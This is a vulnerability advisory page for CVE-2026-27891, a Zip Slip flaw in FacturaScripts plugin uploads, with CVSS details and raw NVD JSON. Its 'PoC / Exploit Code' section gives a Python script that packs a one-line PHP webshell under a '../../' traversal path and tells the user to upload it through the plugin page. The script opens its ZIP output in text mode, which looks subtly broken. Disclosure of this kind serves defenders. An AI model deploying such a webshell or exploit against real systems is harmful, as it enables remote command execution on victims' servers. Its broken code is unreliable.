Security Vulnerability Report
中文
CVE-2026-27891 CVSS 7.2 HIGH

CVE-2026-27891

Published: 2026-05-18 22:16:38
Last Modified: 2026-05-19 15:16:27

Description

FacturaScripts is an open source accounting and invoicing software. Versions 2026 and below contain a critical vulnerability in the Plugins::add() function. The system fails to properly validate the file paths within uploaded ZIP archives. This allows an attacker to perform a Zip Slip attack, leading to Arbitrary File Write and Remote Code Execution (RCE) by overwriting sensitive .php files outside the designated plugins directory. The vulnerability is located in Plugins.php. While the testZipFile function attempts to validate that the ZIP contains only one root folder, it does not sanitize or validate the individual file paths within that folder. An attacker can bypass this check by naming a file ValidPluginName/../../shell.php. The explode function will see ValidPluginName as the root folder, satisfying the count($folders) != 1 check. However, during extraction, the ../../ sequence triggers a path traversal, allowing the file to be written anywhere the web server has permissions the root directory. This issue is fixed in version 2026.1.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

FacturaScripts <= 2026

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-27891 # This script generates a malicious ZIP file to bypass the root folder check. import zipfile import os # The malicious file name containing path traversal # 'ValidPluginName' passes the explode check, '../../' traverses up malicious_filename = "ValidPluginName/../../shell.php" # Simple PHP webshell content webshell_content = "<?php system($_GET['cmd']); ?>" # Create the malicious ZIP file with open('malicious_plugin.zip', 'w') as zip_file: with zipfile.ZipFile(zip_file, 'w', zipfile.ZIP_DEFLATED) as zf: # Write the file with the traversal path zf.writestr(malicious_filename, webshell_content) print("[+] Malicious ZIP file 'malicious_plugin.zip' created successfully.") print("[+] Upload this file via the FacturaScripts plugin installation page.") print("[+] If exploited, shell.php will be written to the parent directory of the plugins folder.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27891", "sourceIdentifier": "[email protected]", "published": "2026-05-18T22:16:38.370", "lastModified": "2026-05-19T15:16:27.463", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FacturaScripts is an open source accounting and invoicing software. Versions 2026 and below contain a critical vulnerability in the Plugins::add() function. The system fails to properly validate the file paths within uploaded ZIP archives. This allows an attacker to perform a Zip Slip attack, leading to Arbitrary File Write and Remote Code Execution (RCE) by overwriting sensitive .php files outside the designated plugins directory. The vulnerability is located in Plugins.php. While the testZipFile function attempts to validate that the ZIP contains only one root folder, it does not sanitize or validate the individual file paths within that folder. An attacker can bypass this check by naming a file ValidPluginName/../../shell.php. The explode function will see ValidPluginName as the root folder, satisfying the count($folders) != 1 check. However, during extraction, the ../../ sequence triggers a path traversal, allowing the file to be written anywhere the web server has permissions the root directory. This issue is fixed in version 2026.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/NeoRazorX/facturascripts/commit/2dda7c6f3b241fa84a0629166783720b882725fd", "source": "[email protected]"}, {"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-3pgc-xqg9-cfr6", "source": "[email protected]"}, {"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-3pgc-xqg9-cfr6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}